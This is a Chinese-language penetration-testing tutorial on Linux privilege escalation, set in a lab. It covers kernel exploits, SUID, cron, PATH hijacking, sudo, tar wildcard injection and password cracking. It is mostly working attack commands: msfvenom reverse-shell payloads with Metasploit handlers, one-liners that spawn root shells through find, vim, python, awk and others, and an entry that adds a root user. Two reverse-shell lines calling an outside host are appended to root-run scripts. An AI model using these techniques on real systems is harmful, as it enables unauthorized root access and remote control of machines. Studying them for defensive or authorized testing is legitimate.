Linux提权
1.linux内核提权
提权原理
内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP;
3、使用找到的EXP对目标系统发起攻击,完成提权操作
1 2 3 4
| cat /etc/issue 查看ubuntu或者centos的版本 cat /etc/*-release 查看centos版本 uname -a 查看系统全部信息 uname -r 查看内核版本
|

EXP可以用kali去寻找,kali中自带searchsploit命令可以查找EXP

复制利用脚本到当前目录

去互联网搜索该脚本的用法和相关的文档
提权复现
环境:本次实验使用Ubuntu 20.04,内核版本是5.10版本的
使用MSF上线机器
1 2 3 4 5 6 7 8
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f elf > mshell.elf
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.41.211 set lport 8888 run
|
查看权限,较低:
查看操作系统
1 2
| cat /etc/issue cat /etc/*-release
|
查看可以利用的内核版本提权漏洞
1
| searchsploit linux 5.10.10
|

将脚本进行复制并且只用GCC进行编译,或者使用百度搜索相关的文档进行使用
使用gcc进行编译
执行
2.SUID提权
SUID介绍
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid 类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了 suid权限的

注意以下几点:
1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
1 2
| chmod u+s filename 设置SUID位 chmod u-s filename 去掉SUID设置
|
例子:
普通用户无法查看shadow文件
如果root给cat设置了suid权限,则普通用户可以使用cat查看shadow文件
SUID提权原理
原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:
1 2 3 4 5 6 7 8 9 10 11
| nmap vim find bash more less nano cp awk mv 更多命令查看:https://gtfobins.github.io/gtfobins/awk/
|
查找SUID文件
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
|
一、 find / -user root -perm -4000 -print 2>/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000
1 2 3 4 5 6 7 8
| -perm匹配权限 4000 2000 1000分别表示SUID SGID SBIT 1.普通文件,文件的权限一般三位,777最高文件权限 -perm -0777搜索的就是最高权限的文件rwxrwxrwx -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件 2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法 -perm -7000搜索的就是最高权限的文件–s–s–t -perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000)等
|
5、-print 2>/dev/null 将标准错误输入到/dev/null文件
二、 find / -perm -u=s -type f 2>/dev/null
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-perm -u=s 查找有s权限
4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件
三、 find / -user root -perm -4000 -exec ls -ldb {};
1、find 是查找文件的命令
2、/ 是从根目录开始查找
3、-user root 是文件的所属者是root
4、-perm -4000 5、-exec ls -ldb {}; 执行 ls -ddb命令
提取介绍
FIND提权
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用 SUID权限运行,则可以通过find执行的命令都将以root身份去运行
步骤
1、查找SUID文件
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
|
2、利用find提权
1 2 3
| touch anyfile find anyfile -exec whoami \; find . -exec /bin/sh -p \; -quit
|
BASH提权
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行, 则可以通过bash执行的命令都将以root身份去运行
1、查找SUID文件
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
|
2、利用bash提权
VIM提权
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
1、查找SUID文件
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
|
2、利用vim提权
第一种方式,利用vim添加账号
1 2
| vim /etc/passwd 添加特权用户 添加:test:x:0:0::/home/bob:/bin/bash
|
1 2
| vim /etc/shadow 添加特权用户 test:$6$0OqvyYYBMtX8HD3n$GIzRaq/IAtpWZQXTc4G1tNCkjjFq29hKtyf9pJhiREQcOwNDWRgJeyebJMmYPfLSxLJ9JMh53jru02TH8/WFN0::0:99999:7:::
|

直接登录test账号
第二种,利用vim打开交互shell
1
| vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
PYTHON提权
1
| python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
参考: https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
等等
3.计划任务提权
提权原理
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下
1 2 3
| crontab -e 编辑计划任务 crontab -l 查看计划任务 crontab -r 删除目前的crontab
|
计划任务的文件夹在 /etc/cron*下
计划任务的格式:

假如root用户设置了一个计划任务,但是权限没有设置好,
比如777权限或者SUID权限之类的,查找命令如下
1 2
| find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件 find / -perm 777 -print 2>/dev/null 查找777文件
|
linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权 限,最后一部分是其他用户所拥有的权限
提权环境
先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| function bash_os() {
kernel=$(uname -r)
release=$(cat /etc/redhat-release)
hostname=$HOSTNAME
dateload=$(uptime | awk -F "," '{print $1}')
users=$(uptime | awk -F "," '{print $2}') echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >> /tmp/bash_os.txt echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt } bash_os
|
该脚本运行后的内容写到 /tmp/bash_os.txt文件中
将文件的权限设置成777 chmod 777 bash_os.sh
将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下,一定是普通用户,到
1 2 3 4
| 分 时 日 月 周 用户 命令 */1 * * * * root /bash_os.sh service crond status 查看计划任务启动 service crond restart 重启计划任务
|
提权实验
1.我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF 的payload然后上线
1 2 3 4 5 6 7
| msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 8889 run
|
2.查询计划任务,发现存在一个sh文件并且是root运行的、
3.接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权
4.输入反弹shell的命令,在sh文件中进行追加
1
| echo "bash -i >& /dev/tcp/10.210.100.128/9876 0>&1" >> /bash_os.sh
|
5.使用NC接收等待反弹shell的连接,得到root权限

4.环境变量劫持提权
提权原理
PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序, shell会试着从PATH中逐步查找命令,查看环境变量命令如下:
如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的
提权环境
当前的环境是ubuntu 16,centos7测试不成功
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令, setuid 规定了其运行用户,以root权限进行编译和权限设置
1 2 3 4 5 6
| #include<unistd.h> void main() { setuid(0); setgid(0); system("cat /etc/shadow"); }
|
然后使用gcc进行编译
运行 shell 命令就是打开shadow文件
赋予shell文件SUID权限 chmod u+s shell

提权实验
首先上线机器
1 2 3 4 5 6 7
| msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 8889 run
|
接下来用命令查找SUID文件,发现一个shell文件被配置了SUID
1
| find / -user root -perm -4000 -print 2>/dev/null
|
运行shell文件,发现是查看/etc/shadow的命令
那么我们 劫持cat命令 ,达到提权的目的
1 2 3 4 5 6 7
| echo "/bin/bash" > /tmp/cat chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH ./home/shell whoami
|
5.SUDO提权
提权原理
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具, 如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对 shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运 维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作
具体的格式如下
1
| cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
|
但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令, 而这两条命令都需要一定权限或者知道当前用户密码
如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权
1 2
| wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、 bash、less、awk、man、vi、env、ftp、ed、screen
|
提权的命令如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 一条命令提权的 sudo vim -c '!sh' sudo awk 'BEGIN {system("/bin/sh")}' sudo xxd "/etc/shadow" | xxd -r sudo env /bin/sh sudo perl -e 'exec "/bin/sh";' sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh" sudo sed -n '1e exec sh 1>&0' /etc/passwd sudo find /etc/passwd -exec /bin/sh \; 两条命令提权的 sudo git help config !/bin/sh sudo ftp !/bin/sh sudo less /etc/hosts !sh sudo ed !/bin/sh sudo man man !/bin/sh
|
提权实验
使用root用户配置/etc/sudoer配置文件,设置普通用户可以运行任意命令
使用CS或者MSF或者webshell上线机器
1 2 3 4 5 6 7
| msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 8889 run
|
使用sudo -l 查看,发现awk可以无密码进行使用
接下来使用命令进行提权
1
| sudo awk 'BEGIN {system("/bin/sh")}'
|
6.利用通配符(WS)进行提权
提权原理
在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析
1 2 3
| * 代表任意数量的字符 ? 字符代表单个字符 [] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
|
我们在当前的目录创建几个文本,1.txt,2.txt,3.txt

接下来使用通配符去查看文件 ls ?.txt 可以查到 一个字符后面加.txt的文件
我们在当前目录在创建几个文件,a.txt,ab.txt,abc.txt

然后使用?进行匹配
使用*进行匹配,代表任意的多个字符
使用ls [0-9].txt,匹配0-9的txt
[…] 匹配方括号之中的任意一个字符
什么是Wildcard wildness 简称WS
我们先创建3个文件
1 2 3
| echo "1" > file1 echo "2" > file2 echo "3" > --help
|

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help 的命令,这种类型的技巧称为Wildcard wildness。

如果我们执行 ls * 那么就会执行 ls –help 即创建的–help文件将–help命令劫持了
如何利用这一点进行提权呢?
如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子
tar命令是Linux中的压缩命令,可以对文件进行压缩
1
| tar -czf html.tgz 1.html 将文件1.html文件压缩成html.tgz
|

也可以使用通配符进行压缩
1
| tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz
|
在tar中有执行linux命令的参数如下
1
| tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
|

可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了
1 2
| echo " " > --checkpoint=1 echo " " > --checkpoint-action=exec=whoami
|

接着运行
提权实验
一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权
1
| */1 * * * * root tar -zcf /var/html.tgz /var/www/html/*
|

1.上线
1 2 3 4 5 6 7
| msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.210.100.128 LPORT=8889 -f elf > 2.elf
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 10.210.100.128 set lport 8889 run
|
2.查看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权

3.在/var/www/html下创建两个文件如下
1 2 3
| echo " " > /var/www/html/--checkpoint=1 echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh' echo "bash -i >&/dev/tcp/10.210.100..128/8888 0>&1" > /var/www/html/shell.sh
|

4.使用NC进行监听,等待sh脚本被执行,连接NC

7.破解明文密码提权
提权原理
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。
shadow是仅 root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权
提权环境
主要是查看当前的shadow文件是否可以读取,主要有以下几种方式
1 2 3
| 1、赋予了文件777权限 2、可以使用sudo查看 3、cat等命令赋予了SUID权限
|
提权复现
root的账号密码如何破解
1.能够读取到shadow文件

2.使用工具破解密码
1
| john --wordlist=passwd.txt + shadow.txt
|
